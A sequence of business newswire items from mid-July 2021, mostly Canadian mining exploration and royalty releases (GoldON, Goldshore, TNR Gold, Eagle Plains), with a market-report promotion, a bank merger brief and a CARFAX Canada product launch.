Key Restraints

Product recall due to excessive chemicals use in feminine products is negatively affecting the market growth.

Stringent regulatory policies are a factor restraining the growth of the feminine hygiene products market.

Discover more about the feminine hygiene products market survey with figures and data tables, along with the table of contents. Ask an Analyst@ https://www.futuremarketinsights.com/ask-question/rep-gb-13350

Competitive Landscape

Companies operating in the feminine hygiene products market are focusing on developing innovative products and establishing strategic collaboration and partnership with institutes and organization to consolidate growth in this competitive market. For instance,

In August 2020 , Kimberly-Clark Corporation an American multinational personal care company announced launch of its new products, Pull-Ups and New Leaf, a super soft training underwear made using plant-based ingredients.

, Kimberly-Clark Corporation an American multinational personal care company announced launch of its new products, Pull-Ups and New Leaf, a super soft training underwear made using plant-based ingredients. In May 2020 , Diva International, a manufacturing company based in Canada , launched a unique menstrual education partnership with a NGO named, Plan International Canada to reach indigenous youth.

Some of the prominent players operating in the feminine hygiene products market profiled by FMI are:

Procter and Gamble

Johnson & Johnson

Kimberly-Clark Corporation

Svenska Cellulosa Aktiebolaget SCA

Sanofi S.A

Lil-lets UK Limited

Ontex

Unicharm Corporation

Diva International Inc.

Edgewell Personal Care

More Valuable Insights on Feminine Hygiene Products Market

FMI, in its new report, offers an unbiased analysis of the global feminine hygiene products market, analyzing forecast statistics through 2021 and beyond. The study reveals growth projections on in feminine hygiene products market with detailed segmentation:

Product type

Sanitary Napkins

Tampons

Menstrual Cup

Panty liners

Feminine Hygiene Wash

Distribution Channel

Hypermarket

Supermarket

Convenience Stores

Department Stores

Retail Pharmacies

Online Purchase

Region

North America

Latin America

Europe

East Asia

South Asia

Oceania

Middle East and Africa (MEA)

We Offer tailor-made Solutions to fit Your Requirements, Request Customization@ https://www.futuremarketinsights.com/customization-available/rep-gb-13350

Key Questions Covered in the Report

The report offers insight into fiber feminine hygiene products market demand outlook for the forecast period 2021-2031

The market study also highlights projected sales growth for feminine hygiene products market between 2021 and 2031

Feminine hygiene products market survey identifies key growth drivers, restraints, and other forces impacting prevailing trends and evaluation of current market size and forecast and technological advancements within the industry

Feminine hygiene products market share analysis, covering key companies within the industry and coverage of strategies such as mergers & acquisitions, joint ventures, collaborations or partnerships, and others

Explore Other Coverage on Future Market Insights

Genital Herpes Treatment Market: The global Genital Herpes Treatment Market report by FMI gives an in-depth insight on the future expansion prospects, trends and challenges that market is likely to face in the upcoming decade. Key statistics regarding key segments have been presented across prominent geographies, along with a detailed assessment of the market's competitive landscape.

Industrial Microbiology Market: The Industrial Microbiology Market study published by FMI offers a comprehensive analysis and focused views on major trends expected to provide shape to future growth prospects. The report provides detailed analysis of the significant drivers, trends, challenges and opportunities prevailing for the forthcoming decade across key geographies along with competitive landscape of the upcoming decade.

Whole Genome Amplification Market: Future Market Insights gives a detailed segmentation on the global Whole Genome Amplification Market with upcoming market trends, challenges and future growth dynamics across key geographies and prominent segments. The report provides a holistic approach, mapping the competitive landscape with detailed analysis on established players, new entrants, and opportunities likely to prevail across the 2021-2031 decade.

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Property is structurally conducive for gold mineralization with a deep-seated first order shear that appears to have a network of second order structures

Victoria, British Columbia--(Newsfile Corp. - July 14, 2021) - GoldON Resources Ltd. (TSXV: GLD) (FSE: 6NR2) (OTC Pink: NCMBF) ("GoldON" or the "Company") is pleased to provide an overview of the geological data compilation and reinterpretation study completed by Orix Geoscience on its Red Lake North gold property (the "Property"). Acquired in February 2021, the 3,347-hectare Property is located in the Red Lake Mining District approximately 65 kilometres (km) north of the town of Red Lake (see Figure 1).





Figure 1: The Uchi Subprovince hosts several multi-million-ounce gold deposits (click image to enlarge)

To view an enhanced version of this graphic, please visit:

https://orders.newsfilecorp.com/files/7436/90114_8d31bfcc246238ab_001full.jpg.

The Property has seen little historical exploration with only one registered assessment file from a 2009 regional overburden sampling program conducted by Agnico Eagle Mines that included 123 till samples from the Property of which several assayed >95 percentile for anomalous gold.

Orix Geoscience was engaged to complete a structural and geological study integrating all historical lithology and geochemistry data with new data from GoldON's recently completed heliborne high-resolution magnetometer (MAG) survey. The result of the Orix study is a far better understanding of the geological and structural framework of the Property that is acutely demonstrated in the comparison of maps from the Ontario Geological Survey (OGS), Open File Report 6210 (OFR 6210) of 2007 and the new Orix study (see Figure 2).





Figure 2 - Comparison of Red Lake North property geology interpretation in 2007 (left) versus 2021 (right) (click image to enlarge)

To view an enhanced version of this graphic, please visit:

https://orders.newsfilecorp.com/files/7436/90114_8d31bfcc246238ab_002full.jpg.

Results of the Orix data compilation and reinterpretation study are as follows:

A vastly improved geological map that has turned what was previously interpreted as a predominant felsic intrusive suite into a concise stratigraphic and folded layering of various volcanic, ultra-mafic, and felsic intrusive lithologies. A prominent deformation/shear zone from 100-750 metres wide is interpreted to be the northern extension E1 structure interpreted by Zeng and Calvert, 2006. A D1 deformation event interpreted by north-striking units with regional flattening foliation parallel to the bedding, and stratigraphy-parallel magnetic lineaments correlate highly with narrow low-magnetic zones that can be interpreted as early faults and shear zones. A D2 deformation event recognized by F2 north-northwest-trending, tight to isoclinal folds within the interpreted sedimentary rocks and mafic volcanics; as well as northwest and north-northwest-striking faults and shear zones that crosscut the lithological units and display locally dextral horizontal offset. Narrow bands of high magnetic chemical metasedimentary rocks (possibly iron formation), undifferentiated with mafic volcanics are evidently folded by F2. Folded iron formation gold hosted deposits are common in Archean greenstone belts (Musselwhite, Pickle Lake, and Geraldton gold camps). Sample distribution from the 2009 overburden sampling program by Agnico-Eagle, does not cover the newly interpreted mafic to intermediate volcanics and possibly metasedimentary rocks. However, considering the ice-flow direction, some anomalous samples could be associated with D2 northwest-striking structures (Figure 3).





Figure 3. Integrated results of Agnico Eagle 2009 overburden sampling program with newly interpreted geology and structure (click image to enlarge)

To view an enhanced version of this graphic, please visit:

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Orix is recommending a prospecting program with a focus on structural geology is recommended to further trace prospective units, contacts and structures possibly associated with anomalous gold samples, and collect structural observations to help verify the reinterpretation.

About the Red Lake North Property:

The Property is hosted within a volcanic-sediment band of rocks newly termed the "Red Lake Extension" that stretches over 100 km from Red Lake north to the McInnes Lake Greenstone Belt. A recent study by the Ministry of Energy, Northern Development and Mines - OGS (see Recommendations for Exploration 2020-2021) suggests that a seismic pronounced structure along this belt termed the "E1" is similar in nature and significance to the Red Lake Gold Mine Complex and the LP Fault of Great Bear Resources' Dixie Gold Project.

A similar structural environment seems to exist on the Property where a deep-seated first-order shear appears to have a network of second-order structures. These are important structural shear zones that are common hosts to orogenic gold deposits (Feng and Kerrich, 1992).

Additionally, the E1 extensional fault is interpreted to extend north of Red Lake along several slivers of greenstone belts that host Balmer Assemblage aged rocks (OFR 6210) (see news release of June 15th, 2021). The Balmer Assemblage is host to most of the gold mines in the Red Lake Camp.

Mike Kilbourne, P. Geo, an independent qualified person as defined in National Instrument 43-101, has reviewed and approved the technical contents of this news release on behalf of the Company.

About GoldON Resources Ltd.

GoldON is an exploration company focused on discovery-stage properties located in the prolific gold mining belts of northwestern Ontario, Canada. Our current project portfolio includes six properties in the Red Lake Mining Division (West Madsen, Red Lake North, Pipestone Bay, Pakwash North, McInnes Lake, and McDonough) and a seventh property in the Patricia Mining Division (Slate Falls).

For additional information: please visit our website at goldonresources.com, you can download our latest investor presentation by clicking here and you can follow us on Twitter at https://twitter.com/GoldONResources.

ON BEHALF OF THE BOARD

Signed "Michael Romanik"

Michael Romanik, President

GoldON Resources Ltd.

Direct line: (204) 724-0613

Email: info@goldonresources.com

179 - 2945 Jacklin Road, Suite 416

Victoria, BC, V9B 6J9

Forward-Looking Statements:

This news release may contain "forward-looking statements" that involve known and unknown risks, uncertainties, assumptions and other factors that may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied by the forward-looking statements. Any forward-looking statement speaks only as of the date of this news release and, except as may be required by applicable securities laws, the Company disclaims any intent or obligation to update any forward-looking statement, whether as a result of new information, future events or results or otherwise.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90114.
Vancouver, British Columbia--(Newsfile Corp. - July 14, 2021) - Goldshore Resources Inc. (TSXV: GSHR) ("Goldshore" or the "Company"), announces that Geotech Ltd. ("Geotech") has completed the heli-borne Versatile Time-Domain Electromagnetic (VTEM Plus) and Horizontal Magnetic Gradiometer geophysical survey ("VTEM Survey") on the Moss Lake Gold Project located in Ontario.

"The VTEM Survey is an integral part of our early exploration program at the Moss Lake Gold Project as we seek to identify key drill targets in support of our proposed 100,000m drill program expected to commence in the near future," commented Brett Richards, President and Chief Executive Officer of Goldshore.

Geotech completed 2,080-line kilometres of heliborne VTEM and magnetics on a 100-metre line spacing over the entire tenement and a 50-metre line spacing over the areas of known mineralisation at Moss Lake, Coldstream and Hamlin. This included approximately 65% re-flights to correct for atmospheric effects due to storm activity or windy conditions that resulted in imperfect data.

Geotech will now process the data to ensure that an error-free levelled dataset is provided to TechnoImaging, who will process the data with its proprietary GlassEarth 3D imaging technology to produce a refined and detailed geological map, as well as 3D subsurface images of the survey area with an inventory of new targets for drill testing. Goldshore has sent 25 drill core samples from across the tenement to enable the calibration of geophysical data for real world conductivity, induced polarization (IP) and magnetic susceptibility parameters.

The Company has received preliminary total magnetic field and conductivity images. Pete Flindell, Goldshore's VP Exploration, commented: "This data surpasses our expectations and we can already see a number of geophysical signatures that, when combined, characterise our known gold and copper deposits. These data suggest that there are multiple new targets that have never been tested."

Goldshore's initial drilling program will focus on evaluating the historically drilled area at Moss Lake with a view to understanding and modelling the deposit-scale controls on gold mineralisation in support of pre-feasibility studies next year. The VTEM Survey does not directly impact this program but will provide information on geological trends and post-mineralisation faults that will help with detailed 3D modelling in due course.

About Goldshore

Goldshore is an emerging junior gold development company and owns the Moss Lake Gold Project located in Ontario. Wesdome Gold Mines Ltd. is currently a strategic shareholder of Goldshore with an approximate 30% equity position in the Company. Well-financed and supported by an industry-leading management group, board of directors and advisory board, Goldshore is positioned to advance the Moss Lake Gold Project through the next stages of exploration.

About the Moss Lake Gold Project

The Moss Lake Gold Project is located approximately 100 km west of the city of Thunder Bay, Ontario. It is accessed via Highway 11 which passes within 1 km of the property boundary to the north. The Moss Lake Gold Project covers 14,292 hectares and consists of 282 unpatented and patented mining claims.

Moss Lake hosts a number of gold and base metal rich deposits including the Moss Lake Deposit, the East Coldstream Deposit (Table 1), the historically producing North Coldstream Mine (Table 2), and the Hamlin Zone, all of which occur over a mineralized trend exceeding 20 km in length. A historical preliminary economic assessment was completed on Moss Lake in 2013 and published by Moss Lake Gold1. A historical mineral resource estimate was completed on the East Coldstream Deposit in 2011 by Foundation Resources Inc2,3. In addition to these zones, the Moss Lake Gold Project also hosts a number of under-explored mineral occurrences which are reported to exist both at surface and in historically drilled holes. The Moss Lake Deposit is a shear-hosted disseminated-style gold deposit which outcrops at surface. It has been drilled over a 2.5 km length and to depths of 300 m with 376 holes completed between 1983 and 2017. The last drilling program conducted in 2016 and 2017 by Wesdome Gold Mines Ltd. ("Wesdome"), which consisted of widely spaced holes along the strike extension of the deposit was successful in expanding the mineralized footprint and hydrothermal system 1.6 km to the northeast. Additionally, the deposit remains largely open to depth. In 2017, Wesdome completed an induced polarization survey which traced the potential extensions of pyrite mineralization associated with the Moss Lake Deposit over a total strike length of 8 km and spanning the entire extent of the survey grids. Historic drill hole highlights from the Moss Lake Deposit include 11.3 g/t Au over 70.4m in ML-08-01, 2.55 g/t Au over 71.3 m in 89-172, and 1.19 g/t Au over 163.1 m in 87-101.

The East Coldstream Deposit is a shear-hosted disseminated-style gold deposit which locally outcrops at surface. It has been drilled over a 1.3 km length and to depths of 200 m with 138 holes completed between 1988 and 2017. The deposit remains largely open at depth and may have the potential for expansion along strike. Historic drill hole highlights from the East Coldstream Deposit include 4.86 g/t Au over 27.3 m in C-10-15.

The historically producing North Coldstream Mine is reported to have produced significant amounts of copper, gold and silver4 from mineralization with potential iron-oxide-copper-gold deposit style affinity. The exploration potential immediately surrounding the historic mining area is not currently well understood and historic data compilation is required.

The Hamlin Zone is a significant occurrence of copper and gold mineralization, and also of potential iron-oxide-copper-gold deposit style affinity. Between 2008 and 2011, Glencore tested Hamlin with 24 drill holes which successfully outlined a broad and intermittently mineralized zone over a strike length of 900 m. Historic drill hole highlights from the Hamlin Zone include 0.9 g/t Au and 0.35% Cu over 150.7 m in HAM-11-75.

The Moss Lake, East Coldstream and North Coldstream deposits sit on a mineral trend marked by a regionally significant deformation zone locally referred to as the Wawiag Fault Zone in the area of the Moss Lake Deposit. This deformation zone occurs over a length of approximately 20 km on the Moss Lake Gold Project and there is an area spanning approximately 7 km between the Moss Lake and East Coldstream deposits that is significantly underexplored.

Table 1: Historical Mineral Resources1,2,3



INDICATED INFERRED Deposit Tonnes Au g/t Au oz Tonnes Au g/t Au oz Moss Lake Deposit1 (2013 resource estimate) Open Pit Potential 39,795,000 1.1 1,377,300 48,904,000 1.0 1,616,300 Underground Potential - - - 1,461,100 2.9 135,400 Moss Lake Total 39,795,000 1.1 1,377,300 50,364,000 1.1 1,751,600

East Coldstream Deposit2 (2011 resource estimate) East Coldstream Total 3,516,700 0.85 96,400 30,533,000 0.78 763,276

Combined Total 43,311,700 1.08 1,473,700 80,897,000 0.98 2,514,876

Notes:

Source: Poirier, S., Patrick, G.A., Richard, P.L., and Palich, J., 2013. Technical Report and Preliminary Economic Assessment for the Moss Lake Project, 43-101 technical report prepared for Moss Lake Gold Mines Ltd. Moss Lake Deposit resource estimate is based on 0.5 g/t Au cut-off grade for open pit and 2.0 g/t Au cut-off grade for underground resources. Source: McCracken, T., 2011. Technical Report and Resource Estimate on the Osmani Gold Deposit, Coldstream Property, Northwestern Ontario, 43-101 technical report prepared for Foundation Resources Inc. and Alto Ventures Ltd. East Coldstream Deposit resource estimate is based on a 0.4 g/t Au cut-off grade. The reader is cautioned that the above referenced "historical mineral resource" estimates are considered historical in nature and as such is based on prior data and reports prepared by previous property owners. A qualified person has not done sufficient work to classify the historical estimates as current resources and Goldshore is not treating the historical estimates as current resources. Significant data compilation, re-drilling, re-sampling and data verification may be required by a qualified person before the historical estimate on the Moss Lake Gold Project can be classified as a current resource. There can be no assurance that any of the historical mineral resources, in whole or in part, will ever become economically viable. In addition, mineral resources are not mineral reserves and do not have demonstrated economic viability. Even if classified as a current resource, there is no certainty as to whether further exploration will result in any inferred mineral resources being upgraded to an indicated or measured mineral resource category.

Table 2: Reported Historical Production from the North Coldstream Deposit4

Deposit Tonnes Cu % Au g/t Ag Cu lbs Au oz Ag oz Historical Production 2,700,0000 1.89 0.56 5.59 102,000,000 44,000 440,000

Note::

Source: Schlanka, R., 1969. Copper, Nickel, Lead and Zinc Deposits of Ontario, Mineral Resources Circular No. 12, Ontario Geological Survey, pp. 314-316.

For More Information - Please Contact:

Brett A. Richards

President, Chief Executive Officer and Director

Goldshore Resources Inc.

P. +1 604 288 4416 M. +1 905 449 1500

E. brichards@goldshoreresources.com

W. www.goldshoreresources.com

Facebook: GoldShoreRes |Twitter: GoldShoreRes | LinkedIn: goldshoreres

Cautionary Note Regarding Forward-Looking Statements

Pete Flindell, MAusIMM, MAIG, Vice President of Exploration of the Company, a qualified person under NI 43-101 has approved the scientific and technical information contained in this news release.

This news release contains statements that constitute "forward-looking statements." Such forward looking statements involve known and unknown risks, uncertainties and other factors that may cause the Company's actual results, performance or achievements, or developments to differ materially from the anticipated results, performance or achievements expressed or implied by such forward-looking statements. Forward looking statements are statements that are not historical facts and are generally, but not always, identified by the words "expects," "plans," "anticipates," "believes," "intends," "estimates," "projects," "potential" and similar expressions, or that events or conditions "will," "would," "may," "could" or "should" occur.

Forward-looking statements in this news release include, among others, statements relating to expectations regarding the exploration and development of the Moss Lake Gold Project, including planned drilling activities, and other statements that are not historical facts. By their nature, forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause our actual results, performance or achievements, or other future events, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Such factors and risks include, among others: the Company may require additional financing from time to time in order to continue its operations which may not be available when needed or on acceptable terms and conditions acceptable; compliance with extensive government regulation; domestic and foreign laws and regulations could adversely affect the Company's business and results of operations; the stock markets have experienced volatility that often has been unrelated to the performance of companies and these fluctuations may adversely affect the price of the Company's securities, regardless of its operating performance; and the impact of COVID-19.

The forward-looking information contained in this news release represents the expectations of the Company as of the date of this news release and, accordingly, is subject to change after such date. Readers should not place undue importance on forward-looking information and should not rely upon this information as of any other date. The Company undertakes no obligation to update these forward-looking statements in the event that management's beliefs, estimates or opinions, or other factors, should change.

This news release does not constitute an offer to sell, or a solicitation of an offer to buy, any securities in the United States. The securities have not been and will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act") or any state securities laws and may not be offered or sold within the United States or to U.S. Persons unless registered under the U.S. Securities Act and applicable state securities laws or an exemption from such registration is available.

Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this release.

NOT FOR DISTRIBUTION TO U.S. NEWS WIRE SERVICES OR DISSEMINATION IN THE U.S.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90183
Vancouver, British Columbia--(Newsfile Corp. - July 14, 2021) - TNR Gold Corp. (TSXV: TNR) ("TNR", "TNR Gold" or the "Company") is very pleased to announce that, further to the Company's news release dated February 10, 2020, International Lithium Corp. ("ILC") announced on July 8, 2021 a resource estimate related to the Mariana Lithium Project in Salta Province, Argentina. TNR Gold holds a 1.8% net smelter returns ("NSR") royalty on the Mariana Lithium Project.

The news release issued by ILC stated:

"The Company has now received a 300 page report (the "Report") from strategic partner Ganfeng Lithium Co. Ltd., ("GFL") that contains an updated mineral resource estimate for the Mariana lithium brine project (the "Project") located in Salta, Argentina. This Report was not prepared for public NI43-101 reporting standards, and therefore the Company is unable to disclose it fully. However, in the interests of investor transparency and to avoid selective disclosure, we are disclosing the following details from the Report which have already been disclosed in a news release issued by Ganfeng Lithium on July 6, 2021, and/or in a news release by the Salta Government in Argentina on June 16, 2021.

Highlights from the Report which are already in the public domain are as follows:

The resource estimate contained in the Report, detailed in the table below, includes:

6,854,000 tonnes of lithium carbonate ("Li 2 CO 3 ") equivalent (LCE) in the Measured and Indicated Resource categories, an increase of 55% over the 2019 estimate of 4,410,000 tonnes of Measured and Indicated Resource (Company news release, February 6, 2020)

an additional 1,267,000 tonnes of Li 2 CO 3 in the Inferred Resource category

these amounts are also now stated as 7,863,000 tonnes of lithium chloride equivalent in the Measured and Indicated Resource categories, and an additional 1,454,000 tonnes of lithium chloride equivalent in the Inferred Resource category

Ganfeng have reported that an Environmental Impact Report approval has been received from the Salta regional government in Argentina for the construction of a plant with a designed annualized capacity of 20,000 tonnes per annum of lithium chloride. The Salta regional government has disclosed in a news release following its discussions with Ganfeng that the likely project expenditure from now to bring the Mariana Project to full production is around US$600 million.

Report - Mariana Lithium Brine Project, Argentina

Further to previous Company news releases dated March 8, 2017, April 20, 2017, and February 6, 2020, ILC has received the Report for the Mariana lithium brine project containing an update to the resource estimate for the Project. Golder Associates Consulting Ltd. ("Golder") prepared the Report based on an independent lithium brine resource estimate by Geos Mining Minerals Consultants ("Geos") based in Sydney, Australia.

Resource Category Aquifer Volume (Mm3) Brine Volume* (GL) Brine Density (g/mL) Li

(mg/L) K

(mg/L) Li

(kt) LCE#

(kt) LiCl#

(kt) Measured 17,653 2,648 1.217 315 9,598 833 4,436 5,089 Indicated 9,286 1,393 1.213 326 10,044 454 2,418 2,774 Inferred 4,747 712 1.211 334 10,121 238 1,267 1,454 Measured + Indicated 26,939 4,041 1.215 319 9,752 1,287 6,854 7,863

* Brine volumes are reported using a conservative aquifer average specific yield (SY) of 15%. Due to the nature of brine deposits, it is not relevant to estimate Mineral Resources to a specific cut-off grade. However, a nominal grade cut-off value of 230 mg/L Li has been applied for reporting purposes only.

# Based on standard conversion rates, and assumes full extraction and conversion.

LCE = Lithium Carbonate Equivalent; conversion factor 5.324 (Ministry of Energy and Mines, British Columbia, Canada).

LiCl = Lithium Chloride; conversion factor 6.1078

Figures have been rounded. Well efficiency and production efficiency are modifying factors to resources and reserves, respectively.





The Qualified Person who prepared the brine resource estimate in the Report is Llyle Sawyer, MAIG of Geos. The effective date for the estimate is June 4, 2021.

Mineral resources are not mineral reserves as defined by the Canadian Institute of Mining and Metallurgy, and the Company cannot guarantee that the resources reported here will be converted to mineral reserves. Mineral resources that are not mineral reserves do not have demonstrated economic viability."

Kirill Klip, Executive Chairman of the Company commented, "I am very pleased to see this 55% increase in measured and indicated resources after the previously announced in 2020 increase of more than 250% in measured and indicated resources from the 2017 resource estimate at Mariana Lithium Project. We extend our congratulations to Ganfeng on the successful approval of the Environmental Impact Report by the Salta regional government in Argentina and granted approvals for the construction of a plant with a designed annualized capacity of 20,000 tonnes per annum of lithium chloride.

We are very pleased to see that this new plan represents a 100% increase of previously planned lithium annual production rate presented in the Mariana Project preliminary economic assessment ("PEA"), announced in our news release of January 28, 2019. It was the first PEA on the project that provided a potential value for the total NSR Royalty from Mariana's life of mine cashflow, which has now been very significantly increased.

We welcome the news from the Salta regional government disclosed in a news release following its discussions with Ganfeng that the likely project expenditure from now to bring the Mariana Project to full production is around US$600 million.

TNR Gold does not have to contribute any capital for the development of Mariana and our NSR Royalty does not depend on the size of ILC's potentially diluted ownership in the Mariana Project. The 1.8% Mariana NSR Royalty is a very important part of TNR Gold's portfolio. The essence of our business model is to have industry leaders like Ganfeng Lithium as operators on the projects that will potentially generate royalty cashflows to contribute significant value for our shareholders."

The ILC press releases and website material appear to be prepared by Qualified Persons and the procedures, methodology and key assumptions disclosed therein are those adopted and consistently applied in the mining industry, but no Qualified Person engaged by TNR has done sufficient work to analyze, interpret, classify or verify ILC's information to determine the current mineral resource or other information referred to in its press releases. Accordingly, the reader is cautioned in placing any reliance on the disclosures therein.

ABOUT TNR GOLD CORP.

TNR Gold Corp. is working to become the green energy metals royalty and gold company.

Over the past twenty-five years, TNR, through its lead generator business model, has been successful in generating high-quality exploration projects around the globe. With the Company's expertise, resources and industry network, it identified the potential of the Los Azules Copper Project in Argentina and now holds a 0.36% NSR Royalty on the entire project, which is being developed by McEwen Mining Inc.

In 2009, TNR founded International Lithium Corp. ("ILC"), a green energy metals company that was made public through the spin-out of TNR's energy metals portfolio in 2011. ILC holds interests in lithium projects in Argentina, Ireland and Canada.

TNR retains a 1.8% NSR Royalty on the Mariana Lithium Project in Argentina. ILC has a right to repurchase 1.0% of the NSR Royalty on the Mariana Lithium Project, of which 0.9% relates to the Company's NSR Royalty interest. The Company would receive $900,000 on the completion of the repurchase. The project is currently being advanced in a joint venture between ILC and Ganfeng Lithium International Co. Ltd.

TNR provides significant exposure to gold through its 90% holding in the Shotgun Gold porphyry project in Alaska. The project is located in Southwestern Alaska near the Donlin Gold project, which is being developed by Barrick Gold and Novagold Resources Inc.

The Company's strategy with Shotgun Gold Project is to attract a joint venture partnership with one of the gold major mining companies. The Company is actively introducing the project to interested parties.

At its core, TNR provides significant exposure to gold, copper, silver and lithium through its holdings in Alaska (the Shotgun Gold porphyry project) and Argentina (the Los Azules Copper and the Mariana Lithium projects) and is committed to the continued generation of in-demand projects, while diversifying its markets and building shareholder value.

On behalf of the Board of Directors,

Kirill Klip

Executive Chairman

www.tnrgoldcorp.com

For further information concerning this news release please contact +1 604-229-8129

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Statement Regarding Forward-Looking Information

Except for statements of historical fact, this news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate", "will", "could" and other similar words, or statements that certain events or conditions "may" or "could" occur, although not all forward-looking statements contain these identifying words. Specifically, forward-looking statements in this news release include, but are not limited to, statements made in relation to: TNR's corporate objectives, changes in share capital, market conditions for energy commodities, the results of McEwen Mining's and ILC's PEAs, and improvements in the financial performance of the Company. Such forward-looking information is based on a number of assumptions and subject to a variety of risks and uncertainties, including but not limited to those discussed in the sections entitled "Risks" and "Forward-Looking Statements" in the Company's interim and annual Management's Discussion and Analysis which are available under the Company's profile on www.sedar.com. While management believes that the assumptions made and reflected in this news release are reasonable, should one or more of the risks, uncertainties or other factors materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those described in forward-looking information. In particular, there can be no assurance that: TNR will be able to repay its loans or complete any further royalty acquisitions or sales; debt or other financing will be available to TNR; or that TNR will be able to achieve any of its corporate objectives. TNR relies on the confirmation of its ownership for mining claims from the appropriate government agencies when paying rental payments for such mining claims requested by these agencies. There could be a risk in the future of the changing internal policies of such government agencies or risk related to the third parties challenging in the future the ownership of such mining claims. Given these uncertainties, readers are cautioned that forward-looking statements included herein are not guarantees of future performance, and such forward-looking statements should not be unduly relied on.

In formulating the forward-looking statements contained herein, management has assumed that business and economic conditions affecting TNR and its royalty partners, McEwen Mining Inc. and International Lithium Corp. will continue substantially in the ordinary course, including without limitation with respect to general industry conditions, general levels of economic activity and regulations. These assumptions, although considered reasonable by management at the time of preparation, may prove to be incorrect.

Forward-looking information herein and all subsequent written and oral forward-looking information are based on estimates and opinions of management on the dates they are made and are expressly qualified in their entirety by this cautionary statement. Except as required by law, the Company assumes no obligation to update forward-looking information should circumstances or management's estimates or opinions change.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90196
WASHINGTON (dpa-AFX) - First Citizens BancShares Inc. (FCNCA), the parent company of First-Citizens Bank & Trust Co., and CIT Group Inc. (CIT), the parent company of CIT Bank, N.A., jointly announced Wednesday that the proposal to merge the two companies has received regulatory approval from the Federal Deposit Insurance Corporation or FDIC. The proposed merger has already received approval from the Office of the North Carolina Commissioner of Banks. The completion of the proposed merger now remains subject to approval from the Board of Governors of the Federal Reserve System, and closing is expected in the third quarter, subject to such approval and the satisfaction or waiver of other customary closing conditions. When completed, the combined company will operate under the First Citizens name and establish a top 20 bank in the United States based on assets. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
CARFAX Canada Service Retention Program Helps Dealerships Keep Customers for a Lifetime

CARFAX Canada, the country's leader in vehicle history and valuation, announces the launch of a new service retention program called CARFAX for Life. The program is proven to help dealerships increase customer loyalty and drive repeat business in their service bays. The program does this by leveraging the consumer-trusted CARFAX Canada brand.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005135/en/

CARFAX Canada Service Retention Program Helps Dealerships Keep Customers for a Lifetime.

When a dealership signs up for CARFAX for Life, their customers get a free Vehicle History Report (VHR) for as long as they own their vehicle (an $84/year value). The VHR is accessed through the customer's Car Care account, a free consumer-facing tool CARFAX Canada launched earlier this year. Customers get vehicle-specific email reminders and notifications from Car Care that direct them back to their chosen dealership when recommended oil changes, tire rotations and other services are due.

CARFAX for Life and Car Care work together to help dealers increase service revenue, build customer loyalty and boost their online reputation. When dealerships help make vehicle maintenance easier for their customers it can be a substantial revenue opportunity: CARFAX Canada found that over 80% of car owners would return to the same service bay for more of their vehicle maintenance, trust the dealership more and have a better overall experience.

"We're thrilled to introduce CARFAX for Life to Canadian dealerships as it works so well with the recently launched Car Care to drive service bay business and help Canadians take better car of their cars," shares Mark Rousseau, President and GM of CARFAX Canada. "It helps dealers create ongoing engagement with their customers. We know this is important because our research has shown that among used car buyers who service at a dealership and over half buy their next used vehicle there."

"CARFAX for Life has been a great addition to our dealership," shares Heather Henderson, Marketing and Business Development Manager at Sutherland Honda in Fredericton, New Brunswick. "The extra insight into our clients' trends has been beneficial to both our service and sales teams, and the dashboard is also very user friendly, which is a huge bonus for everyone involved. The program has definitely surprised us with fantastic results!"

To learn more about CARFAX for Life, dealers can call their CARFAX Canada rep at 1.866.835.8612 or visit our Customer Support Portal.

About CARFAX Canada

CARFAX Canada, part of IHS Markit (NYSE: INFO), is Canada's definitive source of automotive information, delivering vehicle history, appraisal and valuation. Drawing on billions of data records from thousands of sources, its products enable used vehicle buyers and sellers to make informed decisions. CARFAX Canada is dedicated to transparency and is trusted to provide vehicle history and valuation information to dealerships, vehicle manufacturers, consumers, major auctions, governments, insurance providers and police agencies. www.carfax.ca

Connect with CARFAX Canada on Instagram, Facebook and LinkedIn.

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005135/en/

Contacts:

For further information:

Brittney McKee, Marketing Communications Brand Manager at CARFAX Canada

bmckee@carfax.ca

+1.226.680.1712
CRANBROOK, BC / ACCESSWIRE / July 14, 2021 / Eagle Plains Resources (TSXV:EPL) has been notified by option partner Rockridge Resources Ltd. (ROCK) (RRRLF) (RR0) ("Rockridge") that it has received final results from its recently completed diamond drilling program at its Knife Lake Copper Project located in Saskatchewan, Canada (the "Knife Lake Project" or "Property"). Rockridge drilled a total of 2,043 metres in twelve drill holes and has now received assays and completed interpretation for all holes. Results for the initial nine holes covering Gilbert North and South and the Knife Lake Deposit can be referenced in Eagle Plains June 17th, 2021 news release. Rockridge will also be commencing a summer exploration program which is described herein. The Knife Lake Project, consisting of 81 claims totaling 55,471 hectares (137,069 acres), is an advanced-stage copper, silver, zinc and cobalt exploration property in Saskatchewan host to the Knife Lake Deposit.

See Knife Lake VMS Project Location Map here

